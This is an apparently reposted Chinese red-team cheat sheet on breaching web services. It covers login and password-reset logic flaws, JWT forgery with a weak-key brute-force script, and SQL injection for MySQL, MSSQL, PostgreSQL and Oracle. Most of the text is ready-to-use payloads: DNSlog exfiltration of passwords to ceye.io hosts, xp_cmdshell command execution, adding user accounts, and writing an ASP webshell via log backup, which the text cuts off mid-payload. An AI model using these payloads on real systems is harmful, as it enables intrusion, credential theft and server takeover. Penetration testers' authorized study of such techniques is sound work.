-
红队打点总结大全
web服务突破
一些存在问题的逻辑
- 任意用户注册
- 可爆破用户名
- 爆破用户名，密码
- 用户名注入
- 万能密码
- 用户名Xss
- 修改返回包信息，登入他人账户
- 修改cookie中的参数，如user,adminid等
- HTML源码、JS等查看信息搜集一章
- 后台登录参数修改为注册参数/reg、/register、/sign等
- 密码重置
- 1．重置一个账户，不发送验证码，设置验证码为空发送请求。
- 2．发送验证码，查看相应包
- 3．验证码生存期的爆破
- 4．修改相应包为成功的相应包
- 5．手工直接跳转到校验成功的界面
- 6．两个账户，重置别人密码时，替换验证码为自己正确的验证码
- 7．重置别人密码时，替换为自己的手机号
- 8．重置自己的成功时，同意浏览器重置别人的，不发验证码
- 9．替换用户名，ID，cookie，token参数等验证身份的参数
- 10．通过越权修改他人的找回信息如手机/邮箱来重置
JWT攻击手法
https://jwt.io/#debugger-io未校验签名
将原JWT串解码后修改用户名等身份认证的地方，生成新token发送请求禁用哈希
Alg代表加密方式，修改用户名等身份认证的地方，把HS256设置为none生成token发送请求，使用python的pyjwt模块jwt.encode({'user':'admin','arg1':'value1','arg2':'value2'},algorithm='none',key='')爆破弱密钥
- >pip3 install pyjwt
- >python3 crack.py
- import jwt
- import termcolor
- jwt_str = R'token'
- with open('/root/password.txt') as f:
- for line in f:
- key_ = line.strip()
- try:
- jwt.decode(jwt_str,verify=True,key=key_)
- print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--')
- break
- except(jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError):
- print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--')
- except jwt.exceptions.InvalidSignatureError:
- print('\r',' ' * 64, '\r\btry',key_,end='',flush=True)
- continue
- else:
- print('\r','\bnot found.')
注入
注入无列名
- http://url/index.php?id=1 order by 6
- http://url/index.php?id=-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -
- http://url/index.php?id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -
结合dnslog
- MYSQL结合dnslog
- ?id=1' and if((select load_file(concat('\\\\',(select database()),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
- 显示数据库
- ?id=1' and if((select load_file(concat('\\\\',(select schema_name from information_schema.schemata limit {0},1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
- 显示表
- ?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='dbname' limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
- ?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=0x1x1x2x limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
- 显示字段
- ?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
- 显示数据
- ?id=1' and if((select load_file(concat('\\\\',(select hex(user) from users limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
- MSSQL结合dnslog
- 查数据
- ?id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
- Sa密码
- ?id=1DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_loginsWHERE name='sa')+'.ip.port.b182oj.ceye.io';EXEC('master..xp_dirtree"\'+@host+'\foobar$"');
- 执行命令
- exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
- exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
- exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";
- postgreSQL结合dnslog
- ?id=1;DROP TABLE IF EXISTS table_output;CREATE TABLE table_output(content text);CREATE OR REPL+ACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;DECLARE query_result TEXT;BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';EXECUTE exec_cmd;END;$$ LANGUAGE plpgSQL SECURITY DEFINER;SELECT temp_function();
- Oracle结合dnslog
- ?id=1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL;
- ?id=1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL;
- ?id=1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.nk40ci.ceye.io').GETCLOB() FROM sys.DUAL;
- ?id=1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL;
拿shell
- 判断数据库
- ;and (select count(*) from sysobjects)>0 mssql
- ;and (select count(*) from msysobjects)>0 access
- 查库
- ?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0 --
- ?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0 --
- 查表
- import requests
- import re
- table_list = ['']
- def get_sqlserver_table(table_list, table_num):
- for num in range(0,table_num):
- # print("','".join(table_list))
- sql_str = "and (select top 1 name from [xxxx].sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('{}'))>0".format("','".join(table_list))
- url = "http://www.xxxxx.cn/x.aspx?cid=1' {} AND 'aNmV'='aNmV".format(sql_str)
- r = requests.get(url, headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36'})
- res = re.search(r'\'(.*)\'', r.content.decode('utf-8'), re.M|re.I)
- table_name = str(res.group(1))
- table_list.append(table_name)
- print("[{}] - TableName: {}".format(str(r.status_code), table_name))
- if __name__ == "__main__":
- get_sqlserver_table(table_list, 16)
- 判断是否存在xp_cmdshell
- and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
- 执行命令
- ;exec master..xp_cmdshell "net user name password /add"—
- 查看权限
- and (select IS_SRVROLEMEMBER('sysadmin'))=1-- //sa
- and (select IS_MEMBER('db_owner'))=1-- // dbo
- and (select IS_MEMBER('public'))=1-- //public
- 站库分离获取服务器IP
- ;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;', 'select * from dest_table') select * from src_table;--
- LOG备份
- ;alter database testdb set RECOVERY FULL --
- ;create table cmd (a image) --
- ;backup log testdb to disk = 'c:\wwwroot\shell.asp' with init --
- ;insert into cmd (a) values ('<%
- 相关阅读:
JAVA基础(三十二)——反射之创建对象
多线程与同步
六大招式，修炼极狐GitLab CI/CD “快” 字诀
java计算机毕业设计员工信息管理系统源码+mysql数据库+系统+lw文档+部署
iOS开发实战-仿小红书App开发-1-App创建与Git
机器学习入门五（随机森林模型数据分类及回归）
设计模式-模板方法模式
【初阶算法4】——归并排序的详解，及其归并排序的扩展
一条SQL语句的执行过程(附一次两段式提交)
锂电池保护IC：HC5106锂电池保护IC，供应储能电源、无线吸尘器等电动工具、电动自行车、无人机、笔记本电脑等电子产品
- 原文地址：https://blog.csdn.net/weixin_57567655/article/details/126890610
- 相关阅读:
